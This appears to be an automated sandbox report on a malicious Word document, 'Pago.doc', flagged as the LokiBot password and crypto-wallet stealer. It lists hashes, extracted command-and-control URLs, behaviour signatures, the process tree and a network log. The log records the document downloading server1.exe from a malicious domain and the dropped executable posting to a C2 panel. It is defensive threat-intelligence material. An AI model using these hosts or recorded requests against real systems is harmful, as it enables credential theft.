Overview

overview

10

Static

static

8

Pago.doc

windows7-x64

10

Pago.doc

windows10-2004-x64

10

Analysis

  • max time kernel
    140s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/12/2024, 16:21 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Pago.doc

  • Size

    47KB

  • MD5

    bac28e6a77c77ce457e4dd46ca5f0aa7

  • SHA1

    70820cbb05d2910b0674ee5f01966ac104ee2760

  • SHA256

    c14a6e9a7632cd3936d74adeb656b0d3147ec5233cc01c59a1e4bbd0e4d49b41

  • SHA512

    083eaa0899540fc2016ffe73e54184b9428ce6fa81662a24738dd65dfcea097806b42bd4eccb2aca4d85ec29ea5b5d7bcb7c522dc5a119a8adfeb464244531ff

  • SSDEEP

    384:twfFAhRp/6j1dhUsQGlWmxDJzkpiSY5UWFnCRMgAaswgYg71p+Hrct2/ac60j28p:SKhHi3KnCWmHzk7IC9swgB71pMCfLIN

Score
10/10
lokibotcollectiondiscoveryspywarestealertrojan

Malware Config

Extracted

Family

lokibot

C2

https://stipamana.com/redrshyjdft/Panel/five/fre.php

http://kbfvzoboss.bid/alien/fre.php

http://alphastand.trade/alien/fre.php

http://alphastand.win/alien/fre.php

http://alphastand.top/alien/fre.php

Signatures

  • Lokibot

    Lokibot is a Password and CryptoCoin Wallet Stealer.

    trojanspywarestealerlokibot
  • Lokibot family
    lokibot
  • Downloads MZ/PE file
  • Executes dropped EXE 4 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
    collection
  • Suspicious use of SetThreadContext 3 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Pago.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1684
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\FYJFZ.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\FYJFZ.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5116
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\FYJFZ.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\FYJFZ.exe
        3⤵
        • Executes dropped EXE
        PID:4748
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\FYJFZ.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\FYJFZ.exe
        3⤵
        • Executes dropped EXE
        • Accesses Microsoft Outlook profiles
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:1396
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\FYJFZ.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\FYJFZ.exe
        3⤵
        • Executes dropped EXE
        PID:4936

Network

  • flag-us
    DNS
    240.76.109.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    240.76.109.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    roaming.officeapps.live.com
    WINWORD.EXE
    Remote address:
    8.8.8.8:53
    Request
    roaming.officeapps.live.com
    IN A
    Response
    roaming.officeapps.live.com
    IN CNAME
    prod.roaming1.live.com.akadns.net
    prod.roaming1.live.com.akadns.net
    IN CNAME
    eur.roaming1.live.com.akadns.net
    eur.roaming1.live.com.akadns.net
    IN CNAME
    weu-azsc-000.roaming.officeapps.live.com
    weu-azsc-000.roaming.officeapps.live.com
    IN CNAME
    osiprod-weu-buff-azsc-000.westeurope.cloudapp.azure.com
    osiprod-weu-buff-azsc-000.westeurope.cloudapp.azure.com
    IN A
    52.109.89.19
  • flag-nl
    POST
    https://roaming.officeapps.live.com/rs/RoamingSoapService.svc
    WINWORD.EXE
    Remote address:
    52.109.89.19:443
    Request
    POST /rs/RoamingSoapService.svc HTTP/1.1
    Cache-Control: no-cache
    Connection: Keep-Alive
    Pragma: no-cache
    Content-Type: text/xml; charset=utf-8
    User-Agent: MS-WebServices/1.0
    SOAPAction: "http://tempuri.org/IRoamingSettingsService/GetConfig"
    Content-Length: 511
    Host: roaming.officeapps.live.com
    Response
    HTTP/1.1 200 OK
    Cache-Control: private
    Content-Type: text/xml; charset=utf-8
    Server: Microsoft-IIS/10.0
    X-OfficeFE: RoamingFE_IN_208
    X-OfficeVersion: 16.0.18315.30575
    X-OfficeCluster: weu-000.roaming.officeapps.live.com
    Content-Security-Policy-Report-Only: script-src 'nonce-dpIZq7Umu6xIVqjdgUHbkP6ofuZgrrRzVS7bwM84gY96ZXjdUre/56QwFP919YzBnWD66YREes5flDocEfsMMmikLt2GFSJzQkYqhsqyFxhpzEzqFR1WB0HKKwmcdaaF/GGQ12SHTuHTZjqyVW+WboK4k+tZad7+p5L4F1vc5V0=' 'unsafe-inline' 'unsafe-eval' 'strict-dynamic' https:; base-uri 'self'; object-src 'none'; require-trusted-types-for 'script'; report-uri https://csp.microsoft.com/report/OfficeIce-OfficeRoaming-Prod
    X-CorrelationId: 74ebc7b9-2ec1-42c7-a3dc-880695e41011
    X-Powered-By: ASP.NET
    Date: Wed, 04 Dec 2024 16:21:14 GMT
    Content-Length: 654
  • flag-us
    DNS
    133.211.185.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    133.211.185.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    21.236.111.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    21.236.111.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    83.210.23.2.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    83.210.23.2.in-addr.arpa
    IN PTR
    Response
    83.210.23.2.in-addr.arpa
    IN PTR
    a2-23-210-83deploystaticakamaitechnologiescom
  • flag-us
    DNS
    19.89.109.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    19.89.109.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    140.32.126.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    140.32.126.40.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    95.221.229.192.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    95.221.229.192.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    www.sodiumlaurethsulfatedesyroyer.com
    WINWORD.EXE
    Remote address:
    8.8.8.8:53
    Request
    www.sodiumlaurethsulfatedesyroyer.com
    IN A
    Response
    www.sodiumlaurethsulfatedesyroyer.com
    IN A
    172.67.202.26
    www.sodiumlaurethsulfatedesyroyer.com
    IN A
    104.21.58.76
  • flag-us
    GET
    https://www.sodiumlaurethsulfatedesyroyer.com/ewehtdfgjfgjkfhjkfgjfgjhgghfshhdfg/yuthsyjdsthsrfgrarhsdtsrhstrhtshstuysrhafgragsgrghtafgre/dfhsdthdsfagesadghtahrsgthsrthgsfhgfs/rgsdtshgxbsdfghsgtbfjdfjdgsdfhsfh/server1.exe
    WINWORD.EXE
    Remote address:
    172.67.202.26:443
    Request
    GET /ewehtdfgjfgjkfhjkfgjfgjhgghfshhdfg/yuthsyjdsthsrfgrarhsdtsrhstrhtshstuysrhafgragsgrghtafgre/dfhsdthdsfagesadghtahrsgthsrthgsfhgfs/rgsdtshgxbsdfghsgtbfjdfjdgsdfhsfh/server1.exe HTTP/2.0
    host: www.sodiumlaurethsulfatedesyroyer.com
    accept: */*
    accept-language: en-us
    ua-cpu: AMD64
    accept-encoding: gzip, deflate
    user-agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
    Response
    HTTP/2.0 200
    date: Wed, 04 Dec 2024 16:21:20 GMT
    content-type: application/octet-stream
    content-length: 250368
    last-modified: Wed, 04 Dec 2024 15:40:01 GMT
    etag: "675077d1-3d200"
    expires: Thu, 31 Dec 2037 23:55:55 GMT
    cache-control: max-age=315360000
    cf-cache-status: MISS
    accept-ranges: bytes
    report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6Mwe%2F175VrQTPrWefM1S9EfedZit5xPrqKDRgnX76TTjDVINYJXo1ytsrtO5tsBRRkjoQYHwb6Z5j2hkLgAmIII6LYs630J%2Bbmf0fdnsDDBMRqNsv0BmVqi4UctFOvMfxig5qnAtK32I5eqjNki%2FEu3hbg5XzcET"}],"group":"cf-nel","max_age":604800}
    nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    vary: Accept-Encoding
    server: cloudflare
    cf-ray: 8ecd2104dff0f5e6-AMS
    alt-svc: h3=":443"; ma=86400
    server-timing: cfL4;desc="?proto=TCP&rtt=56830&min_rtt=56681&rtt_var=6888&sent=8&recv=12&lost=0&retrans=0&sent_bytes=3464&recv_bytes=788&delivery_rate=71343&cwnd=254&unsent_bytes=0&cid=bdd9409eb8fc1cc8&ts=384&x=0"
  • flag-us
    DNS
    c.pki.goog
    WINWORD.EXE
    Remote address:
    8.8.8.8:53
    Request
    c.pki.goog
    IN A
    Response
    c.pki.goog
    IN CNAME
    pki-goog.l.google.com
    pki-goog.l.google.com
    IN A
    142.250.200.3
  • flag-gb
    GET
    http://c.pki.goog/r/gsr1.crl
    WINWORD.EXE
    Remote address:
    142.250.200.3:80
    Request
    GET /r/gsr1.crl HTTP/1.1
    Connection: Keep-Alive
    Accept: */*
    User-Agent: Microsoft-CryptoAPI/10.0
    Host: c.pki.goog
    Response
    HTTP/1.1 200 OK
    Accept-Ranges: bytes
    Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts
    Cross-Origin-Resource-Policy: cross-origin
    Cross-Origin-Opener-Policy: same-origin; report-to="cacerts"
    Report-To: {"group":"cacerts","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]}
    Content-Length: 1739
    X-Content-Type-Options: nosniff
    Server: sffe
    X-XSS-Protection: 0
    Date: Wed, 04 Dec 2024 15:32:38 GMT
    Expires: Wed, 04 Dec 2024 16:22:38 GMT
    Cache-Control: public, max-age=3000
    Age: 2922
    Last-Modified: Mon, 07 Oct 2024 07:18:00 GMT
    Content-Type: application/pkix-crl
    Vary: Accept-Encoding
  • flag-gb
    GET
    http://c.pki.goog/r/r4.crl
    WINWORD.EXE
    Remote address:
    142.250.200.3:80
    Request
    GET /r/r4.crl HTTP/1.1
    Connection: Keep-Alive
    Accept: */*
    User-Agent: Microsoft-CryptoAPI/10.0
    Host: c.pki.goog
    Response
    HTTP/1.1 200 OK
    Accept-Ranges: bytes
    Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts
    Cross-Origin-Resource-Policy: cross-origin
    Cross-Origin-Opener-Policy: same-origin; report-to="cacerts"
    Report-To: {"group":"cacerts","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]}
    Content-Length: 436
    X-Content-Type-Options: nosniff
    Server: sffe
    X-XSS-Protection: 0
    Date: Wed, 04 Dec 2024 15:32:40 GMT
    Expires: Wed, 04 Dec 2024 16:22:40 GMT
    Cache-Control: public, max-age=3000
    Age: 2920
    Last-Modified: Thu, 25 Jul 2024 14:48:00 GMT
    Content-Type: application/pkix-crl
    Vary: Accept-Encoding
  • flag-us
    DNS
    26.202.67.172.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    26.202.67.172.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    3.200.250.142.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    3.200.250.142.in-addr.arpa
    IN PTR
    Response
    3.200.250.142.in-addr.arpa
    IN PTR
    lhr48s29-in-f31e100net
  • flag-us
    DNS
    stipamana.com
    FYJFZ.exe
    Remote address:
    8.8.8.8:53
    Request
    stipamana.com
    IN A
    Response
    stipamana.com
    IN A
    45.149.241.168
  • flag-de
    POST
    http://stipamana.com/redrshyjdft/Panel/five/fre.php
    FYJFZ.exe
    Remote address:
    45.149.241.168:80
    Request
    POST /redrshyjdft/Panel/five/fre.php HTTP/1.0
    User-Agent: Mozilla/4.08 (Charon; Inferno)
    Host: stipamana.com
    Accept: */*
    Content-Type: application/octet-stream
    Content-Encoding: binary
    Content-Key: D3C6499E
    Content-Length: 358
    Connection: close
    Response
    HTTP/1.1 404 Not Found
    Server: nginx
    Date: Wed, 04 Dec 2024 16:21:23 GMT
    Content-Type: text/html; charset=UTF-8
    Content-Length: 15
    Connection: close
    X-Powered-By: PHP/7.3.25
    Status: 404 Not Found
  • flag-de
    POST
    http://stipamana.com/redrshyjdft/Panel/five/fre.php
    FYJFZ.exe
    Remote address:
    45.149.241.168:80
    Request
    POST /redrshyjdft/Panel/five/fre.php HTTP/1.0
    User-Agent: Mozilla/4.08 (Charon; Inferno)
    Host: stipamana.com
    Accept: */*
    Content-Type: application/octet-stream
    Content-Encoding: binary
    Content-Key: D3C6499E
    Content-Length: 180
    Connection: close
    Response
    HTTP/1.1 404 Not Found
    Server: nginx
    Date: Wed, 04 Dec 2024 16:21:24 GMT
    Content-Type: text/html; charset=UTF-8
    Content-Length: 15
    Connection: close
    X-Powered-By: PHP/7.3.25
    Status: 404 Not Found
  • flag-de
    POST
    http://stipamana.com/redrshyjdft/Panel/five/fre.php
    FYJFZ.exe
    Remote address:
    45.149.241.168:80
    Request
    POST /redrshyjdft/Panel/five/fre.php HTTP/1.0
    User-Agent: Mozilla/4.08 (Charon; Inferno)
    Host: stipamana.com
    Accept: */*
    Content-Type: application/octet-stream
    Content-Encoding: binary
    Content-Key: D3C6499E
    Content-Length: 153
    Connection: close
    Response
    HTTP/1.1 404 Not Found
    Server: nginx
    Date: Wed, 04 Dec 2024 16:21:24 GMT
    Content-Type: text/html; charset=UTF-8
    Content-Length: 23
    Connection: close
    X-Powered-By: PHP/7.3.25
    Status: 404 Not Found
  • flag-us
    DNS
    168.241.149.45.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    168.241.149.45.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    170.117.168.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    170.117.168.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    228.249.119.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    228.249.119.40.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    200.163.202.172.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    200.163.202.172.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    metadata.templates.cdn.office.net
    WINWORD.EXE
    Remote address:
    8.8.8.8:53
    Request
    metadata.templates.cdn.office.net
    IN A
    Response
    metadata.templates.cdn.office.net
    IN CNAME
    templatesmetadata.office.net
    templatesmetadata.office.net
    IN CNAME
    templatesmetadata.office.net.edgekey.net
    templatesmetadata.office.net.edgekey.net
    IN CNAME
    e26769.dscb.akamaiedge.net
    e26769.dscb.akamaiedge.net
    IN A
    2.17.106.194
    e26769.dscb.akamaiedge.net
    IN A
    2.17.106.146
  • flag-gb
    GET
    https://metadata.templates.cdn.office.net/client/templates/gallery?lcid=1033&syslcid=1033&uilcid=1033&app=0&ver=16&tl=2&build=16.0.12527&gtype=0%2C1%2C2%2C5%2C
    WINWORD.EXE
    Remote address:
    2.17.106.194:443
    Request
    GET /client/templates/gallery?lcid=1033&syslcid=1033&uilcid=1033&app=0&ver=16&tl=2&build=16.0.12527&gtype=0%2C1%2C2%2C5%2C HTTP/1.1
    Connection: Keep-Alive
    Accept-Encoding: gzip
    User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Word 16.0.12527; Pro)
    X-IDCRL_ACCEPTED: t
    X-Office-Version: 16.0.12527
    X-Office-Application: 0
    X-Office-Platform: Win32
    X-Office-AudienceGroup: Production
    X-Office-SessionId: 92C95C72-922E-4C67-A02A-A2418CB0A649
    Host: metadata.templates.cdn.office.net
    Response
    HTTP/1.1 200 OK
    Content-Type: text/xml
    Server: Kestrel
    Content-Encoding: gzip
    Content-Length: 1264
    Cache-Control: max-age=93761
    Date: Wed, 04 Dec 2024 16:21:46 GMT
    Connection: keep-alive
    Vary: Accept-Encoding
  • flag-us
    DNS
    binaries.templates.cdn.office.net
    WINWORD.EXE
    Remote address:
    8.8.8.8:53
    Request
    binaries.templates.cdn.office.net
    IN A
    Response
    binaries.templates.cdn.office.net
    IN CNAME
    binaries.templates.cdn.office.net.edgesuite.net
    binaries.templates.cdn.office.net.edgesuite.net
    IN CNAME
    a1847.dscg2.akamai.net
    a1847.dscg2.akamai.net
    IN A
    2.19.117.152
    a1847.dscg2.akamai.net
    IN A
    2.19.117.150
  • flag-us
    DNS
    206.23.85.13.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    206.23.85.13.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    194.106.17.2.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    194.106.17.2.in-addr.arpa
    IN PTR
    Response
    194.106.17.2.in-addr.arpa
    IN PTR
    a2-17-106-194deploystaticakamaitechnologiescom
  • flag-gb
    GET
    https://binaries.templates.cdn.office.net/support/templates/en-us/tp02835233.cab
    WINWORD.EXE
    Remote address:
    2.19.117.152:443
    Request
    GET /support/templates/en-us/tp02835233.cab HTTP/1.1
    Connection: Keep-Alive
    Accept-Encoding: gzip
    User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Word 16.0.12527; Pro)
    X-IDCRL_ACCEPTED: t
    X-Office-Version: 16.0.12527
    X-Office-Application: 0
    X-Office-Platform: Win32
    X-Office-AudienceGroup: Production
    X-Office-SessionId: 92C95C72-922E-4C67-A02A-A2418CB0A649
    Host: binaries.templates.cdn.office.net
    Response
    HTTP/1.1 200 OK
    Content-Length: 46413
    Content-Type: application/vnd.ms-cab-compressed
    Content-MD5: xFXEvEvsng2mfE0eU+RtWg==
    Last-Modified: Fri, 22 Apr 2016 16:09:25 GMT
    ETag: 0x8D36AC879BBB45C
    Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
    x-ms-request-id: bcca83ea-301e-000c-1015-b91d22000000
    x-ms-version: 2009-09-19
    x-ms-lease-status: unlocked
    x-ms-blob-type: BlockBlob
    Date: Wed, 04 Dec 2024 16:21:47 GMT
    Connection: keep-alive
    Access-Control-Allow-Headers: *
    Vary: Origin
    Access-Control-Allow-Credentials: true
    Access-Control-Allow-Methods: GET,POST,OPTIONS
    Access-Control-Allow-Origin: *
  • flag-gb
    GET
    https://binaries.templates.cdn.office.net/support/templates/en-us/tp02851227.cab
    WINWORD.EXE
    Remote address:
    2.19.117.152:443
    Request
    GET /support/templates/en-us/tp02851227.cab HTTP/1.1
    Connection: Keep-Alive
    Accept-Encoding: gzip
    User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Word 16.0.12527; Pro)
    X-IDCRL_ACCEPTED: t
    X-Office-Version: 16.0.12527
    X-Office-Application: 0
    X-Office-Platform: Win32
    X-Office-AudienceGroup: Production
    X-Office-SessionId: 92C95C72-922E-4C67-A02A-A2418CB0A649
    Host: binaries.templates.cdn.office.net
    Response
    HTTP/1.1 200 OK
    Content-Length: 31471
    Content-Type: application/vnd.ms-cab-compressed
    Content-MD5: karb7EFxz6gpK2GEkvXvNA==
    Last-Modified: Fri, 22 Apr 2016 16:09:43 GMT
    ETag: 0x8D36AC8848A0495
    Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
    x-ms-request-id: c81084a1-301e-0023-0625-b910e9000000
    x-ms-version: 2009-09-19
    x-ms-lease-status: unlocked
    x-ms-blob-type: BlockBlob
    Date: Wed, 04 Dec 2024 16:21:47 GMT
    Connection: keep-alive
    Access-Control-Allow-Headers: *
    Vary: Origin
    Access-Control-Allow-Credentials: true
    Access-Control-Allow-Methods: GET,POST,OPTIONS
    Access-Control-Allow-Origin: *
  • flag-gb
    GET
    https://binaries.templates.cdn.office.net/support/templates/en-us/tp02851216.cab
    WINWORD.EXE
    Remote address:
    2.19.117.152:443
    Request
    GET /support/templates/en-us/tp02851216.cab HTTP/1.1
    Connection: Keep-Alive
    Accept-Encoding: gzip
    User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Word 16.0.12527; Pro)
    X-IDCRL_ACCEPTED: t
    X-Office-Version: 16.0.12527
    X-Office-Application: 0
    X-Office-Platform: Win32
    X-Office-AudienceGroup: Production
    X-Office-SessionId: 92C95C72-922E-4C67-A02A-A2418CB0A649
    Host: binaries.templates.cdn.office.net
    Response
    HTTP/1.1 200 OK
    Content-Length: 34816
    Content-Type: application/vnd.ms-cab-compressed
    Content-MD5: YoYxJM3NoTXswOcieCy4iA==
    Last-Modified: Fri, 22 Apr 2016 16:09:38 GMT
    ETag: 0x8D36AC8813CE0D3
    Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
    x-ms-request-id: 4196af4e-901e-003f-4990-2d48e6000000
    x-ms-version: 2009-09-19
    x-ms-lease-status: unlocked
    x-ms-blob-type: BlockBlob
    Date: Wed, 04 Dec 2024 16:21:47 GMT
    Connection: keep-alive
    Access-Control-Allow-Headers: *
    Vary: Origin
    Access-Control-Allow-Credentials: true
    Access-Control-Allow-Methods: GET,POST,OPTIONS
    Access-Control-Allow-Origin: *
  • flag-gb
    GET
    https://binaries.templates.cdn.office.net/support/templates/en-us/tp02851218.cab
    WINWORD.EXE
    Remote address:
    2.19.117.152:443
    Request
    GET /support/templates/en-us/tp02851218.cab HTTP/1.1
    Connection: Keep-Alive
    Accept-Encoding: gzip
    User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Word 16.0.12527; Pro)
    X-IDCRL_ACCEPTED: t
    X-Office-Version: 16.0.12527
    X-Office-Application: 0
    X-Office-Platform: Win32
    X-Office-AudienceGroup: Production
    X-Office-SessionId: 92C95C72-922E-4C67-A02A-A2418CB0A649
    Host: binaries.templates.cdn.office.net
    Response
    HTTP/1.1 200 OK
    Content-Length: 31835
    Content-Type: application/vnd.ms-cab-compressed
    Content-MD5: kqgZ1DSoquosZfDMLzO7Og==
    Last-Modified: Fri, 22 Apr 2016 16:09:39 GMT
    ETag: 0x8D36AC881E66CE5
    Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
    x-ms-request-id: 7ac92116-501e-008c-3524-b9e224000000
    x-ms-version: 2009-09-19
    x-ms-lease-status: unlocked
    x-ms-blob-type: BlockBlob
    Date: Wed, 04 Dec 2024 16:21:47 GMT
    Connection: keep-alive
    Access-Control-Allow-Headers: *
    Vary: Origin
    Access-Control-Allow-Credentials: true
    Access-Control-Allow-Methods: GET,POST,OPTIONS
    Access-Control-Allow-Origin: *
  • flag-gb
    GET
    https://binaries.templates.cdn.office.net/support/templates/en-us/tp02851217.cab
    WINWORD.EXE
    Remote address:
    2.19.117.152:443
    Request
    GET /support/templates/en-us/tp02851217.cab HTTP/1.1
    Connection: Keep-Alive
    Accept-Encoding: gzip
    User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Word 16.0.12527; Pro)
    X-IDCRL_ACCEPTED: t
    X-Office-Version: 16.0.12527
    X-Office-Application: 0
    X-Office-Platform: Win32
    X-Office-AudienceGroup: Production
    X-Office-SessionId: 92C95C72-922E-4C67-A02A-A2418CB0A649
    Host: binaries.templates.cdn.office.net
    Response
    HTTP/1.1 200 OK
    Content-Length: 33610
    Content-Type: application/vnd.ms-cab-compressed
    Content-MD5: UYBOJVxXMXYDn01bVcEqsg==
    Last-Modified: Fri, 22 Apr 2016 16:09:38 GMT
    ETag: 0x8D36AC881987151
    Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
    x-ms-request-id: 0171b447-f01e-005b-359a-1db97e000000
    x-ms-version: 2009-09-19
    x-ms-lease-status: unlocked
    x-ms-blob-type: BlockBlob
    Date: Wed, 04 Dec 2024 16:21:47 GMT
    Connection: keep-alive
    Access-Control-Allow-Headers: *
    Vary: Origin
    Access-Control-Allow-Credentials: true
    Access-Control-Allow-Methods: GET,POST,OPTIONS
    Access-Control-Allow-Origin: *
  • flag-gb
    GET
    https://binaries.templates.cdn.office.net/support/templates/en-us/tp02851219.cab
    WINWORD.EXE
    Remote address:
    2.19.117.152:443
    Request
    GET /support/templates/en-us/tp02851219.cab HTTP/1.1
    Connection: Keep-Alive
    Accept-Encoding: gzip
    User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Word 16.0.12527; Pro)
    X-IDCRL_ACCEPTED: t
    X-Office-Version: 16.0.12527
    X-Office-Application: 0
    X-Office-Platform: Win32
    X-Office-AudienceGroup: Production
    X-Office-SessionId: 92C95C72-922E-4C67-A02A-A2418CB0A649
    Host: binaries.templates.cdn.office.net
    Response
    HTTP/1.1 200 OK
    Content-Length: 31605
    Content-Type: application/vnd.ms-cab-compressed
    Content-MD5: ae2zv4HJn+ipS7oDQIxa4Q==
    Last-Modified: Fri, 22 Apr 2016 16:09:39 GMT
    ETag: 0x8D36AC8822FFB6E
    Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
    x-ms-request-id: d1eac4bf-d01e-0092-5897-a00efc000000
    x-ms-version: 2009-09-19
    x-ms-lease-status: unlocked
    x-ms-blob-type: BlockBlob
    Date: Wed, 04 Dec 2024 16:21:47 GMT
    Connection: keep-alive
    Access-Control-Allow-Headers: *
    Vary: Origin
    Access-Control-Allow-Credentials: true
    Access-Control-Allow-Methods: GET,POST,OPTIONS
    Access-Control-Allow-Origin: *
  • flag-gb
    GET
    https://binaries.templates.cdn.office.net/support/templates/en-us/tp02851220.cab
    WINWORD.EXE
    Remote address:
    2.19.117.152:443
    Request
    GET /support/templates/en-us/tp02851220.cab HTTP/1.1
    Connection: Keep-Alive
    Accept-Encoding: gzip
    User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Word 16.0.12527; Pro)
    X-IDCRL_ACCEPTED: t
    X-Office-Version: 16.0.12527
    X-Office-Application: 0
    X-Office-Platform: Win32
    X-Office-AudienceGroup: Production
    X-Office-SessionId: 92C95C72-922E-4C67-A02A-A2418CB0A649
    Host: binaries.templates.cdn.office.net
    Response
    HTTP/1.1 200 OK
    Content-Length: 31482
    Content-Type: application/vnd.ms-cab-compressed
    Content-MD5: 8Q35ApgPHVvuqWssZoQIpw==
    Last-Modified: Fri, 22 Apr 2016 16:09:40 GMT
    ETag: 0x8D36AC8827914A7
    Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
    x-ms-request-id: d704013f-301e-015e-1697-a09fc7000000
    x-ms-version: 2009-09-19
    x-ms-lease-status: unlocked
    x-ms-blob-type: BlockBlob
    Date: Wed, 04 Dec 2024 16:21:47 GMT
    Connection: keep-alive
    Access-Control-Allow-Headers: *
    Vary: Origin
    Access-Control-Allow-Credentials: true
    Access-Control-Allow-Methods: GET,POST,OPTIONS
    Access-Control-Allow-Origin: *
  • flag-gb
    GET
    https://binaries.templates.cdn.office.net/support/templates/en-us/tp02851221.cab
    WINWORD.EXE
    Remote address:
    2.19.117.152:443
    Request
    GET /support/templates/en-us/tp02851221.cab HTTP/1.1
    Connection: Keep-Alive
    Accept-Encoding: gzip
    User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Word 16.0.12527; Pro)
    X-IDCRL_ACCEPTED: t
    X-Office-Version: 16.0.12527
    X-Office-Application: 0
    X-Office-Platform: Win32
    X-Office-AudienceGroup: Production
    X-Office-SessionId: 92C95C72-922E-4C67-A02A-A2418CB0A649
    Host: binaries.templates.cdn.office.net
    Response
    HTTP/1.1 200 OK
    Content-Length: 31562
    Content-Type: application/vnd.ms-cab-compressed
    Content-MD5: HW+Oc6BmKkjTMgkKTIyJjw==
    Last-Modified: Fri, 22 Apr 2016 16:09:40 GMT
    ETag: 0x8D36AC882C4ED43
    Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
    x-ms-request-id: e4f000bb-501e-0148-0297-a06910000000
    x-ms-version: 2009-09-19
    x-ms-lease-status: unlocked
    x-ms-blob-type: BlockBlob
    Date: Wed, 04 Dec 2024 16:21:47 GMT
    Connection: keep-alive
    Access-Control-Allow-Headers: *
    Vary: Origin
    Access-Control-Allow-Credentials: true
    Access-Control-Allow-Methods: GET,POST,OPTIONS
    Access-Control-Allow-Origin: *
  • flag-gb
    GET
